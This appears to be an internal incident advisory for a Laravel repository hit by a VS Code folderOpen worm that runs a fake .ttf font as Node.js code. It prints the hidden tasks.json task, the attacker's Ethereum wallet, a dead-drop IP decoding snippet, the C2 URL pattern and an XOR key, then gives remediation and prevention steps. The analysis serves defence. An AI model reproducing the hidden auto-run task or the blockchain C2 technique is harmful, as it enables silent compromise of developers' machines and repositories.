SECURITY INCIDENT & THREAT AWARENESS REPORT

CRITICAL ADVISORY

Repository: Future-Stack / pulse_e_backend_laravel | **Incident:** Supply-Chain Git Worm & Ethereum C2 Trojan | **Date:** November 1, 2026

URGENT NOTICE TO ALL ENGINEERING STAFF:
The repository was infected by a stealth supply-chain Remote Access Trojan (RAT) and self-propagating worm that exploits VS Code automatic task execution. Opening this project in VS Code silently executes malware that downloads secondary payloads via the Ethereum blockchain and uses developers' local Git credentials to push unauthorized files (`api.js` , `vite.config.js`) to GitHub at regular intervals. Follow the remediation steps immediately.

1. Executive Incident Summary

Over recent weeks, repository branches and pull requests have experienced automated, recurring unauthorized code pushes introducing files named `api.js`, disguised font payloads, and corrupted `vite.config.js` scripts.

Forensic investigation of git history and file contents confirmed this is **not** an unauthorized access of the GitHub web portal or a compromised remote token. It is an active **workstation-to-repository worm** triggered by VS Code's `folderOpen` hook. When an engineer opens the repository, malicious Node.js code executes in a hidden background process, connects to the Ethereum blockchain to locate attacker command-and-control (C2) servers, and uses the engineer's authenticated local git environment to commit and push malware back to the remote repository.

Threat Attribute	Forensic Finding
Malware Classification	Supply-Chain Git Worm, IDE Workspace Exploit, Ethereum C2 Remote Access Trojan (RAT)
Primary Trigger Vector	`.vscode/tasks.json` configuring a hidden task running on `folderOpen`
Payload Carrier	`public/fonts/fa-solid-300.ttf` (Obfuscated Node.js disguised as a font)
Decentralized C2 Resolver	Ethereum Wallet: `0x1eEf0849EDa15d87f64e51C73C8442Cf3c8bCEF3`
Secondary Artifacts	`api.js` , `package.json` injection (`node api.js && vite`), `temp_auto_push.bat`
Impacted Branches	`main` , `mahbub` , `mim` (re-introduced across merges and PRs)

2. Detailed Anatomy of the Attack

A. The Silent Execution Hook (.vscode/tasks.json)

VS Code supports automatic task execution when a workspace folder is opened. The malware abused this feature by registering an innocent-looking `eslint-check` task:

```
{
  "version": "2.0.0",
  "tasks": [
    {
      "label": "eslint-check",
      "type": "shell",
      "command": "node",
      "args": ["./public/fonts/fa-solid-300.ttf"],
      "problemMatcher": [],
      "isBackground": true,
      "hide": true,
      "presentation": { "reveal": "never", "close": true, "echo": false },
      "runOptions": { "runOn": "folderOpen" }
    }
  ]
}
```

Because `presentation.reveal` was set to `never` and `hide` was set to `true`, the developer receives **no visible terminal window or popup** indicating that Node has been invoked.

B. Disguised Trojan Payload (fa-solid-300.ttf)

Although located inside `public/fonts/` and ending with the `.ttf` extension, the file is purely executable JavaScript. Throughout the repository's git history, the malware cycled through multiple file names to evade basic string searches:

- `public/fonts/fa-solid-700.fml`
- `public/fonts/fa-solid-300.llf`
- `public/fonts/fa-solid-800.lkf`
- `public/fonts/fa-solid.lfk` / `fa-solid.lkf`
- `public/fonts/fa-solid-300.ttf` (Current active variant)

C. Smart Contract C2 Dead-Drop Resolver

Instead of hardcoding command-and-control server domains or IPs that could easily be blacklisted or seized, the malware queries Ethereum public RPC nodes:

- `https://eth.drpc.org`
- `https://ethereum-rpc.publicnode.com`
- `https://eth.blockscout.com/api`

It inspects transactions from wallet `0x1eEf0849EDa15d87f64e51C73C8442Cf3c8bCEF3`. The 20-byte recipient `to` address of the attacker's latest transaction is extracted and converted into IPv4 bytes:

```
const decodeAddress = t => {
  const e = Buffer.from(t.replace(/^0x/i, ""), "hex");
  const n = t => `${t[0]}.${t[1]}.${t[2]}.${t[3]}`;
  return [n(e.subarray(0, 4)), n(e.subarray(4, 8))];
};
```

This yields the live C2 IP addresses (`ip1` , `ip2`). The script then contacts `http://${ip1}:443/0x/cls` , downloads a XOR-encrypted payload, decrypts it using hardcoded keys (e.g. `q4FZkxX{!h,Sr3=@`), and executes it dynamically in memory.

D. Self-Propagation & Automated Git Pushes

Once running as a detached Node daemon on the developer's computer:

1. It injects an obfuscated payload into `api.js` at the project root.
2. It alters `package.json` scripts to prepend `node api.js &&` so running `npm run dev` or `npm run build` also triggers the malware.
3. It creates transient batch scripts (e.g. `temp_auto_push.bat` , `temp_interactive_push.bat`) that execute `git add` , `git commit` , and `git push` .
4. Because the developer has SSH keys or Git Credential Manager configured with GitHub push rights, the worm uses those existing credentials to publish branches and PRs automatically.

> **Why Deleting `api.js` and Adding it to `.gitignore` Failed:**
> Deleting `api.js` only deleted the file generated by the worm. It left the infection engine (`.vscode/tasks.json`

> and `fa-solid-300.ttf`) intact. Every time the repository was opened or merged, the task ran again and regenerated the files.

3. MITRE ATT&CK Threat Matrix Mapping

Tactic	Technique ID	Observed In Incident
Initial Access / Execution	T1204.002	Execution via VS Code `folderOpen` hook in `.vscode/tasks.json`
Defense Evasion	T1036.005	Masquerading Node.js code inside `fa-solid-300.ttf` font files
Command and Control	T1102.001	Dead-Drop Resolver via Ethereum smart contract transactions
Persistence	T1546	Event-triggered background daemons and `package.json` script poisoning
Lateral Movement	T1078.004	Self-propagation via authenticated developer GitHub credentials and PRs

4. Step-by-Step Eradication & Containment Protocol

To ensure complete elimination from both the central repository and all team workstations, execute the following steps in sequence:

Step 1: Clean and Purge Repository Artifacts

Run the following commands in the project root to permanently delete the malicious hooks:

```
# 1. Remove the malicious trigger and fake font file from git tracking and disk
git rm -f .vscode/tasks.json
git rm -f public/fonts/fa-solid-300.ttf

# 2. Delete any dangling polymorphic font files
git rm -f public/fonts/fa-solid-*.llf public/fonts/fa-solid-*.lkf public/fonts/fa-solid.lfk
2>/dev/null

# 3. Clean up .gitignore entries
# Remove temp_auto_push.bat, temp_interactive_push.bat, and api.js lines

# 4. Commit and push the clean state to main
git add .
git commit -m "fix(security): eradicate vscode tasks trigger and trojan font payload"
git push origin main
```

Step 2: Cleanse Remote Feature Branches

Branches `mahbub`, `mim`, and any personal development branches on `origin` must be updated. **Do not merge old branches into main without rebasing!**

```
# On developer machines with feature branches:
git checkout mim
git pull origin main --rebase
git push origin mim --force
```

Step 3: Workstation Disinfection (Required for ALL Developers)

1. **Kill Rogue Processes:** Open Windows Task Manager (or run `Get-Process node` in PowerShell). Terminate any unexplained `node.exe` processes running in the background.
2. **Disable Automatic Tasks in VS Code (Mandatory):**
   - Open VS Code Settings (`Ctrl + ,`).
   - Search for `task.allowAutomaticTasks`.
   - Change the dropdown value to **`off`**.
   - *This immunizes your machine from any repository attempting to run commands on folder open.*
3. **Purge Temporary Folders:** Delete all files in `%TEMP%` and check `%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup` for rogue batch or JavaScript files.
4. **Rotate GitHub Credentials (Mandatory):**
   - Go to GitHub ? Settings ? SSH and GPG Keys. Revoke all current SSH keys and add new ones.
   - Go to Developer Settings ? Personal Access Tokens (PAT). Revoke and recreate active tokens.

5. Long-Term Governance & Prevention Policies

RECOMMENDED SECURITY POLICY UPDATES:

1. **Enforce GitHub Branch Protection on `main`:** Require at least 1 pull request review before merging, dismiss stale approvals, and prevent direct branch pushes.
2. **Commit Signing:** Enforce GPG or SSH signed commits so any commit generated by an automated background script without a private GPG key is rejected.
3. **CI Pre-Merge Linting:** Add a GitHub Actions check that fails if any file under `.vscode/` contains `runOn: folderOpen` or if binary files contain plaintext JavaScript code.